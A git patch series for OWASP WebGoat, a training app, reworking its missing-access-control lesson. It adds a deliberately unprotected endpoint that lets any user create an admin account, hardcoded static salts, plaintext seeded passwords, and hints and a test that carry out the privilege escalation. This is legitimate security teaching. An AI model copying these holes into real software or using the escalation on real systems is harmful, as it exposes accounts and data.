are or would be of interest to an attacker/malicious user and submit the labels for those menu items (there are no links right now in the menus). \ No newline at end of file From 9e6ed11aa789257059fbc88ad4bbec2a19c3c2e2 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 2 Nov 2021 14:31:34 +0100 Subject: [PATCH 087/227] Remove link to lesson.css as they belong to the lesson --- webgoat-container/src/main/resources/templates/main_new.html | 1 - 1 file changed, 1 deletion(-) diff --git a/webgoat-container/src/main/resources/templates/main_new.html b/webgoat-container/src/main/resources/templates/main_new.html index ec6d2b87b..11c8d8385 100644 --- a/webgoat-container/src/main/resources/templates/main_new.html +++ b/webgoat-container/src/main/resources/templates/main_new.html @@ -15,7 +15,6 @@ - From 3ad51e6d6b6367306f6f1142636d081d4905fbfd Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Thu, 4 Nov 2021 17:04:23 +0100 Subject: [PATCH 088/227] Rewrite lesson to be self-contained and not depend on the core of WebGoat for fetching users Split the assignment into 2 assignments --- .../org/owasp/webgoat/users/WebGoatUser.java | 5 +- .../org/owasp/webgoat/AccessControlTest.java | 103 +++++++++------ .../owasp/webgoat/missing_ac/DisplayUser.java | 43 ++----- .../MissingAccessControlUserRepository.java | 45 +++++++ .../webgoat/missing_ac/MissingFunctionAC.java | 5 +- .../MissingFunctionACHiddenMenus.java | 6 - .../missing_ac/MissingFunctionACUsers.java | 81 ++++++------ .../missing_ac/MissingFunctionACYourHash.java | 24 ++-- .../MissingFunctionACYourHashAdmin.java | 60 +++++++++ .../org/owasp/webgoat/missing_ac/User.java | 15 +++ .../org/owasp/webgoat/missing_ac/Users.java | 117 ------------------ .../src/main/resources/css/ac.css | 4 + .../db/migration/V2021_11_03_1__ac.sql | 9 ++ .../resources/html/MissingFunctionAC.html | 29 ++++- .../resources/i18n/WebGoatLabels.properties | 14 +-- .../en/missing-function-ac-03-users.adoc | 2 +- .../missing-function-ac-04-users-fixed.adoc | 5 + .../webgoat/missing_ac/DisplayUserTest.java | 21 ++-- .../MissingFunctionACUsersTest.java | 64 +++++----- .../MissingFunctionACYourHashAdminTest.java | 44 +++++++ .../MissingFunctionYourHashTest.java | 44 +++---- 21 files changed, 409 insertions(+), 331 deletions(-) create mode 100644 webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingAccessControlUserRepository.java create mode 100644 webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACYourHashAdmin.java create mode 100644 webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/User.java delete mode 100644 webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java create mode 100644 webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css create mode 100644 webgoat-lessons/missing-function-ac/src/main/resources/db/migration/V2021_11_03_1__ac.sql create mode 100644 webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-04-users-fixed.adoc create mode 100644 webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionACYourHashAdminTest.java diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/WebGoatUser.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/WebGoatUser.java index 23fcae34d..e6e720c36 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/WebGoatUser.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/WebGoatUser.java @@ -34,15 +34,14 @@ public class WebGoatUser implements UserDetails { } public WebGoatUser(String username, String password) { - this.username = username; - this.password = password; - createUser(); + this(username, password, ROLE_USER); } public WebGoatUser(String username, String password, String role) { this.username = username; this.password = password; this.role = role; + createUser(); } diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/AccessControlTest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/AccessControlTest.java index da39a8c5f..cc51704b2 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/AccessControlTest.java +++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/AccessControlTest.java @@ -1,54 +1,87 @@ package org.owasp.webgoat; +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import org.apache.http.HttpStatus; +import org.junit.jupiter.api.Test; + import java.util.HashMap; import java.util.Map; -import org.junit.jupiter.api.Test; - -import io.restassured.RestAssured; -import io.restassured.http.ContentType; -import lombok.Data; - public class AccessControlTest extends IntegrationTest { - - @Test + + @Test public void testLesson() { - startLesson("MissingFunctionAC"); - - Map params = new HashMap<>(); - params.clear(); - params.put("hiddenMenu1", "Users"); - params.put("hiddenMenu2", "Config"); - - - checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true); - String userHash = + startLesson("MissingFunctionAC"); + assignment1(); + assignment2(); + assignment3(); + + checkResults("/access-control"); + } + + private void assignment3() { + //direct call should fail if user has not been created + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/access-control/users-admin-fix")) + .then() + .statusCode(HttpStatus.SC_FORBIDDEN); + + //create user + var userTemplate = """ + {"username":"%s","password":"%s","admin": "true"} + """; + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .body(String.format(userTemplate, getWebgoatUser(), getWebgoatUser())) + .post(url("/WebGoat/access-control/users")) + .then() + .statusCode(HttpStatus.SC_OK); + + //get the users + var userHash = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) - .contentType(ContentType.JSON) - .get(url("/WebGoat/users")) + .contentType(ContentType.JSON) + .get(url("/WebGoat/access-control/users-admin-fix")) .then() .statusCode(200) .extract() .jsonPath() - .get("find { it.username == \"" + getWebgoatUser() + "\" }.userHash"); - - params.clear(); - params.put("userHash", userHash); - checkAssignment(url("/WebGoat/access-control/user-hash"), params, true); - - - checkResults("/access-control"); + .get("find { it.username == \"Jerry\" }.userHash"); + + checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true); } - - @Data - public class Item { - private String username; - private boolean admin; - private String userHash; + + private void assignment2() { + var userHash = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/access-control/users")) + .then() + .statusCode(200) + .extract() + .jsonPath() + .get("find { it.username == \"Jerry\" }.userHash"); + + checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true); + } + + private void assignment1() { + var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config"); + checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true); } - } diff --git a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/DisplayUser.java b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/DisplayUser.java index f96360c8c..bb07cf284 100644 --- a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/DisplayUser.java +++ b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/DisplayUser.java @@ -1,8 +1,8 @@ package org.owasp.webgoat.missing_ac; -import org.owasp.webgoat.users.WebGoatUser; -import org.springframework.security.core.GrantedAuthority; +import lombok.Getter; +import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.util.Base64; @@ -31,55 +31,32 @@ import java.util.Base64; * projects. *

*/ - +@Getter public class DisplayUser { //intended to provide a display version of WebGoatUser for admins to view user attributes - private String username; private boolean admin; private String userHash; - public DisplayUser(WebGoatUser user) { + public DisplayUser(User user, String passwordSalt) { this.username = user.getUsername(); - this.admin = false; + this.admin = user.isAdmin(); - for (GrantedAuthority authority : user.getAuthorities()) { - this.admin = (authority.getAuthority().contains("WEBGOAT_ADMIN")) ? true : false; - } - - // create userHash on the fly - //TODO: persist userHash try { - this.userHash = genUserHash(user.getUsername(), user.getPassword()); + this.userHash = genUserHash(user.getUsername(), user.getPassword(), passwordSalt); } catch (Exception ex) { - //TODO: implement better fallback operation this.userHash = "Error generating user hash"; } - } - protected String genUserHash(String username, String password) throws Exception { + protected String genUserHash(String username, String password, String passwordSalt) throws Exception { MessageDigest md = MessageDigest.getInstance("SHA-256"); // salting is good, but static & too predictable ... short too for a salt - String salted = password + "DeliberatelyInsecure1234" + username; + String salted = password + passwordSalt + username; //md.update(salted.getBytes("UTF-8")); // Change this to "UTF-16" if needed - byte[] hash = md.digest(salted.getBytes("UTF-8")); - String encoded = Base64.getEncoder().encodeToString(hash); - return encoded; - } - - - public String getUsername() { - return username; - } - - public boolean isAdmin() { - return admin; - } - - public String getUserHash() { - return userHash; + byte[] hash = md.digest(salted.getBytes(StandardCharsets.UTF_8)); + return Base64.getEncoder().encodeToString(hash); } } diff --git a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingAccessControlUserRepository.java b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingAccessControlUserRepository.java new file mode 100644 index 000000000..51a6fe726 --- /dev/null +++ b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingAccessControlUserRepository.java @@ -0,0 +1,45 @@ +package org.owasp.webgoat.missing_ac; + +import org.owasp.webgoat.LessonDataSource; +import org.springframework.jdbc.core.RowMapper; +import org.springframework.jdbc.core.namedparam.MapSqlParameterSource; +import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import java.util.List; + +@Component +public class MissingAccessControlUserRepository { + + private final NamedParameterJdbcTemplate jdbcTemplate; + private final RowMapper mapper = (rs, rowNum) -> new User(rs.getString("username"), rs.getString("password"), rs.getBoolean("admin")); + + public MissingAccessControlUserRepository(LessonDataSource lessonDataSource) { + this.jdbcTemplate = new NamedParameterJdbcTemplate(lessonDataSource); + } + + public List findAllUsers() { + return jdbcTemplate.query("select username, password, admin from access_control_users", mapper); + } + + public User findByUsername(String username) { + var users = jdbcTemplate.query("select username, password, admin from access_control_users where username=:username", + new MapSqlParameterSource().addValue("username", username), + mapper); + if (CollectionUtils.isEmpty(users)) { + return null; + } + return users.get(0); + } + + public User save(User user) { + jdbcTemplate.update("INSERT INTO access_control_users(username, password, admin) VALUES(:username,:password,:admin)", + new MapSqlParameterSource() + .addValue("username", user.getUsername()) + .addValue("password", user.getPassword()) + .addValue("admin", user.isAdmin())); + return user; + } + +} diff --git a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionAC.java b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionAC.java index b126b44f9..8a6900c9b 100644 --- a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionAC.java +++ b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionAC.java @@ -27,7 +27,10 @@ import org.owasp.webgoat.lessons.Lesson; import org.springframework.stereotype.Component; @Component -public class MissingFunctionAC extends Lesson { +public class MissingFunctionAC extends Lesson { + + public static final String PASSWORD_SALT_SIMPLE = "DeliberatelyInsecure1234"; + public static final String PASSWORD_SALT_ADMIN = "DeliberatelyInsecure1235"; @Override public Category getDefaultCategory() { diff --git a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACHiddenMenus.java b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACHiddenMenus.java index baa487694..d588da180 100644 --- a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACHiddenMenus.java +++ b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACHiddenMenus.java @@ -25,8 +25,6 @@ package org.owasp.webgoat.missing_ac; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.session.UserSessionData; -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @@ -37,10 +35,6 @@ import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({"access-control.hidden-menus.hint1","access-control.hidden-menus.hint2","access-control.hidden-menus.hint3"}) public class MissingFunctionACHiddenMenus extends AssignmentEndpoint { - //UserSessionData is bound to session and can be used to persist data across multiple assignments - @Autowired - UserSessionData userSessionData; - @PostMapping(path = "/access-control/hidden-menu", produces = {"application/json"}) @ResponseBody diff --git a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACUsers.java b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACUsers.java index 82de67200..64fb15015 100644 --- a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACUsers.java +++ b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACUsers.java @@ -22,79 +22,82 @@ package org.owasp.webgoat.missing_ac; +import lombok.AllArgsConstructor; import lombok.extern.slf4j.Slf4j; -import org.owasp.webgoat.users.UserService; -import org.owasp.webgoat.users.WebGoatUser; -import org.springframework.beans.factory.annotation.Autowired; +import org.owasp.webgoat.session.WebSession; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.servlet.ModelAndView; -import javax.servlet.http.HttpServletRequest; import java.util.ArrayList; import java.util.List; +import java.util.stream.Collectors; + +import static org.owasp.webgoat.missing_ac.MissingFunctionAC.PASSWORD_SALT_ADMIN; +import static org.owasp.webgoat.missing_ac.MissingFunctionAC.PASSWORD_SALT_SIMPLE; /** * Created by jason on 1/5/17. */ - @Controller +@AllArgsConstructor @Slf4j public class MissingFunctionACUsers { - // this will actually put controllers on the /WebGoat/* path ... the jsp for list_users restricts what can be seen, but the add_user is not controlled carefully - @Autowired - private UserService userService; + private final MissingAccessControlUserRepository userRepository; + private final WebSession webSession; - @RequestMapping(path = {"users"}, method = RequestMethod.GET) - public ModelAndView listUsers(HttpServletRequest request) { + @GetMapping(path = {"access-control/users"}) + public ModelAndView listUsers() { ModelAndView model = new ModelAndView(); model.setViewName("list_users"); - List allUsers = userService.getAllUsers(); - model.addObject("numUsers",allUsers.size()); + List allUsers = userRepository.findAllUsers(); + model.addObject("numUsers", allUsers.size()); //add display user objects in place of direct users List displayUsers = new ArrayList<>(); - for (WebGoatUser user : allUsers) { - displayUsers.add(new DisplayUser(user)); + for (User user : allUsers) { + displayUsers.add(new DisplayUser(user, PASSWORD_SALT_SIMPLE)); } - model.addObject("allUsers",displayUsers); + model.addObject("allUsers", displayUsers); return model; } - @RequestMapping(path = {"users", "/"}, method = RequestMethod.GET,consumes = "application/json") + @GetMapping(path = {"access-control/users"}, consumes = "application/json") @ResponseBody - public List usersService(HttpServletRequest request) { - - List allUsers = userService.getAllUsers(); - List displayUsers = new ArrayList<>(); - for (WebGoatUser user : allUsers) { - displayUsers.add(new DisplayUser(user)); - } - return displayUsers; + public ResponseEntity> usersService() { + return ResponseEntity.ok(userRepository.findAllUsers().stream().map(user -> new DisplayUser(user, PASSWORD_SALT_SIMPLE)).collect(Collectors.toList())); } - @RequestMapping(path = {"users","/"}, method = RequestMethod.POST, consumes = "application/json", produces = "application/json") + @GetMapping(path = {"access-control/users-admin-fix"}, consumes = "application/json") @ResponseBody - //@PreAuthorize() - public WebGoatUser addUser(@RequestBody WebGoatUser newUser) { + public ResponseEntity> usersFixed() { + var currentUser = userRepository.findByUsername(webSession.getUserName()); + if (currentUser != null && currentUser.isAdmin()) { + return ResponseEntity.ok(userRepository.findAllUsers().stream().map(user -> new DisplayUser(user, PASSWORD_SALT_ADMIN)).collect(Collectors.toList())); + } + return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); + } + + @PostMapping(path = {"access-control/users", "access-control/users-admin-fix"}, consumes = "application/json", produces = "application/json") + @ResponseBody + public User addUser(@RequestBody User newUser) { try { - userService.addUser(newUser.getUsername(),newUser.getPassword()); - return userService.loadUserByUsername(newUser.getUsername()); + userRepository.save(newUser); + return newUser; } catch (Exception ex) { log.error("Error creating new User", ex); - //TODO: implement error handling ... - } finally { - // no streams or other resources opened ... nothing to do, right? + return null; } - return null; + + //@RequestMapping(path = {"user/{username}","/"}, method = RequestMethod.DELETE, consumes = "application/json", produces = "application/json") + //TODO implement delete method with id param and authorization + } - - //@RequestMapping(path = {"user/{username}","/"}, method = RequestMethod.DELETE, consumes = "application/json", produces = "application/json") - //TODO implement delete method with id param and authorization - } diff --git a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACYourHash.java b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACYourHash.java index d5a8920cd..41815d07f 100644 --- a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACYourHash.java +++ b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACYourHash.java @@ -22,35 +22,33 @@ package org.owasp.webgoat.missing_ac; +import lombok.RequiredArgsConstructor; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.users.UserService; -import org.owasp.webgoat.users.WebGoatUser; -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; +import static org.owasp.webgoat.missing_ac.MissingFunctionAC.PASSWORD_SALT_SIMPLE; + @RestController -@AssignmentHints({"access-control.hash.hint1","access-control.hash.hint2","access-control.hash.hint3", - "access-control.hash.hint4","access-control.hash.hint5","access-control.hash.hint6","access-control.hash.hint7", - "access-control.hash.hint8","access-control.hash.hint9","access-control.hash.hint10","access-control.hash.hint11","access-control.hash.hint12"}) +@AssignmentHints({"access-control.hash.hint1", "access-control.hash.hint2", "access-control.hash.hint3", "access-control.hash.hint4", "access-control.hash.hint5"}) +@RequiredArgsConstructor public class MissingFunctionACYourHash extends AssignmentEndpoint { - @Autowired - private UserService userService; + private final MissingAccessControlUserRepository userRepository; + @PostMapping(path = "/access-control/user-hash", produces = {"application/json"}) @ResponseBody - public AttackResult completed(String userHash) { - String currentUser = getWebSession().getUserName(); - WebGoatUser user = userService.loadUserByUsername(currentUser); - DisplayUser displayUser = new DisplayUser(user); + public AttackResult simple(String userHash) { + User user = userRepository.findByUsername("Jerry"); + DisplayUser displayUser = new DisplayUser(user, PASSWORD_SALT_SIMPLE); if (userHash.equals(displayUser.getUserHash())) { return success(this).feedback("access-control.hash.success").build(); } else { - return failed(this).feedback("access-control.hash.close").build(); + return failed(this).build(); } } } diff --git a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACYourHashAdmin.java b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACYourHashAdmin.java new file mode 100644 index 000000000..d0c03e070 --- /dev/null +++ b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACYourHashAdmin.java @@ -0,0 +1,60 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.missing_ac; + +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +import static org.owasp.webgoat.missing_ac.MissingFunctionAC.PASSWORD_SALT_ADMIN; + +@RestController +@AssignmentHints({"access-control.hash.hint6", "access-control.hash.hint7", + "access-control.hash.hint8", "access-control.hash.hint9", "access-control.hash.hint10", "access-control.hash.hint11", "access-control.hash.hint12"}) +public class MissingFunctionACYourHashAdmin extends AssignmentEndpoint { + + private final MissingAccessControlUserRepository userRepository; + + public MissingFunctionACYourHashAdmin(MissingAccessControlUserRepository userRepository) { + this.userRepository = userRepository; + } + + @PostMapping(path = "/access-control/user-hash-fix", produces = {"application/json"}) + @ResponseBody + public AttackResult admin(String userHash) { + //current user should be in the DB + //if not admin then return 403 + + var user = userRepository.findByUsername("Jerry"); + var displayUser = new DisplayUser(user, PASSWORD_SALT_ADMIN); + if (userHash.equals(displayUser.getUserHash())) { + return success(this).feedback("access-control.hash.success").build(); + } else { + return failed(this).feedback("access-control.hash.close").build(); + } + } + +} diff --git a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/User.java b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/User.java new file mode 100644 index 000000000..5025a7d82 --- /dev/null +++ b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/User.java @@ -0,0 +1,15 @@ +package org.owasp.webgoat.missing_ac; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@AllArgsConstructor +@NoArgsConstructor +public class User { + + private String username; + private String password; + private boolean admin; +} diff --git a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java deleted file mode 100644 index 460bcae58..000000000 --- a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java +++ /dev/null @@ -1,117 +0,0 @@ -/* - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 2019 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. - */ - -package org.owasp.webgoat.missing_ac; - -import org.owasp.webgoat.LessonDataSource; -import org.owasp.webgoat.session.UserSessionData; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.ResponseBody; - -import java.sql.Connection; -import java.sql.ResultSet; -import java.sql.SQLException; -import java.sql.Statement; -import java.util.HashMap; - -public class Users { - - private UserSessionData userSessionData; - private LessonDataSource dataSource; - - public Users(UserSessionData userSessionData, LessonDataSource dataSource) { - this.userSessionData = userSessionData; - this.dataSource = dataSource; - } - - @GetMapping(produces = {"application/json"}) - @ResponseBody - protected HashMap getUsers() { - - try (Connection connection = dataSource.getConnection()) { - String query = "SELECT * FROM user_data"; - - try { - Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - ResultSet results = statement.executeQuery(query); - HashMap allUsersMap = new HashMap(); - - if ((results != null) && (results.first() == true)) { - while (results.next()) { - HashMap userMap = new HashMap<>(); - userMap.put("first", results.getString(1)); - userMap.put("last", results.getString(2)); - userMap.put("cc", results.getString(3)); - userMap.put("ccType", results.getString(4)); - userMap.put("cookie", results.getString(5)); - userMap.put("loginCount", Integer.toString(results.getInt(6))); - allUsersMap.put(results.getInt(0), userMap); - } - userSessionData.setValue("allUsers", allUsersMap); - return allUsersMap; - - } - } catch (SQLException sqle) { - sqle.printStackTrace(); - HashMap errMap = new HashMap() {{ - put("err", sqle.getErrorCode() + "::" + sqle.getMessage()); - }}; - - return new HashMap() {{ - put(0, errMap); - }}; - } catch (Exception e) { - e.printStackTrace(); - HashMap errMap = new HashMap() {{ - put("err", e.getMessage() + "::" + e.getCause()); - }}; - e.printStackTrace(); - return new HashMap() {{ - put(0, errMap); - }}; - - - } finally { - try { - if (connection != null) { - connection.close(); - } - } catch (SQLException sqle) { - sqle.printStackTrace(); - } - } - - } catch (Exception e) { - e.printStackTrace(); - HashMap errMap = new HashMap() {{ - put("err", e.getMessage() + "::" + e.getCause()); - }}; - e.printStackTrace(); - return new HashMap<>() {{ - put(0, errMap); - }}; - - } - return null; - } -} diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css b/webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css new file mode 100644 index 000000000..853250ac2 --- /dev/null +++ b/webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css @@ -0,0 +1,4 @@ +.hidden-menu-item { + display:none; + visibility:hidden; +} \ No newline at end of file diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/db/migration/V2021_11_03_1__ac.sql b/webgoat-lessons/missing-function-ac/src/main/resources/db/migration/V2021_11_03_1__ac.sql new file mode 100644 index 000000000..7a7b09b58 --- /dev/null +++ b/webgoat-lessons/missing-function-ac/src/main/resources/db/migration/V2021_11_03_1__ac.sql @@ -0,0 +1,9 @@ +CREATE TABLE access_control_users( + username varchar(40), + password varchar(40), + admin boolean +); + +INSERT INTO access_control_users VALUES ('Tom', 'qwertyqwerty1234', false); +INSERT INTO access_control_users VALUES ('Jerry', 'doesnotreallymatter', true); +INSERT INTO access_control_users VALUES ('Sylvester', 'testtesttest', false); diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html b/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html index c3465584c..49c42e774 100644 --- a/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html +++ b/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html @@ -5,6 +5,7 @@

+
@@ -17,7 +18,6 @@ +
+ +
+ +
+
+
+ +

Your Hash:

+
+ + + + +
+
+
+ +
+ diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/missing-function-ac/src/main/resources/i18n/WebGoatLabels.properties index 4533fe073..f727c90ce 100644 --- a/webgoat-lessons/missing-function-ac/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/missing-function-ac/src/main/resources/i18n/WebGoatLabels.properties @@ -11,15 +11,15 @@ access-control.hidden-menus.hint3=Look for something a super-user or administato access-control.hash.success=Congrats! You really succeeded when you added the user. access-control.hash.close=Keep trying, this one may take several attempts & steps to achieve. See the hints for help. -access-control.hash.hint1=There is an easier way and a 'harder' way to achieve this, the easier way involves one simple change in a GET request. -access-control.hash.hint2= If you haven't found the hidden menus from the earlier exercise, go do that first. -access-control.hash.hint3=When you look at the users page, there is a hint that more info is viewable by a given role. -access-control.hash.hint4=For the easy way, have you tried tampering the GET request? Different content-types? -access-control.hash.hint5=For the 'easy' way, modify the GET request to /users to include 'Content-Type: application/json' +access-control.hash.hint1=This assignment involves one simple change in a GET request. +access-control.hash.hint2=If you haven't found the hidden menus from the earlier exercise, go do that first. +access-control.hash.hint3=When you look at the users page, there is a hint that more info is viewable by a given role. +access-control.hash.hint4=Have you tried tampering the GET request? Different content-types? +access-control.hash.hint5=Modify the GET request to `/access-control/users` to include 'Content-Type: application/json' access-control.hash.hint6=Now for the harder way ... it builds on the easier way access-control.hash.hint7=If the request to view users, were a 'service' or 'RESTful' endpoint, what would be different about it? access-control.hash.hint8=If you're still looking for hints ... try changing the Content-type header as in the GET request. access-control.hash.hint9=You also need to deliver a proper payload for the request (look at how registration works). This should be formatted in line with the content-type you just defined. -access-control.hash.hint10=You will want to add WEBGOAT_ADMIN for the user's role. Yes, you'd have to guess/fuzz this in a real-world setting. -access-control.hash.hint11=OK, here it is. First, create an admin user ... Change the method to POST, change the content-type to "application/json". And your payload should look something like: {"username":"newUser2","password":"newUser12","matchingPassword":"newUser12","role":"WEBGOAT_ADMIN"} +access-control.hash.hint10=You will want to add your own username with an admin role. Yes, you'd have to guess/fuzz this in a real-world setting. +access-control.hash.hint11=OK, here it is. First, create an admin user ... Change the method to POST, change the content-type to "application/json". And your payload should look something like: {"username":"newUser2","password":"newUser12","admin": "true"} access-control.hash.hint12=Now log in as that user and bring up WebGoat/users. Copy your hash and log back in to your original account and input it there to get credit. diff --git 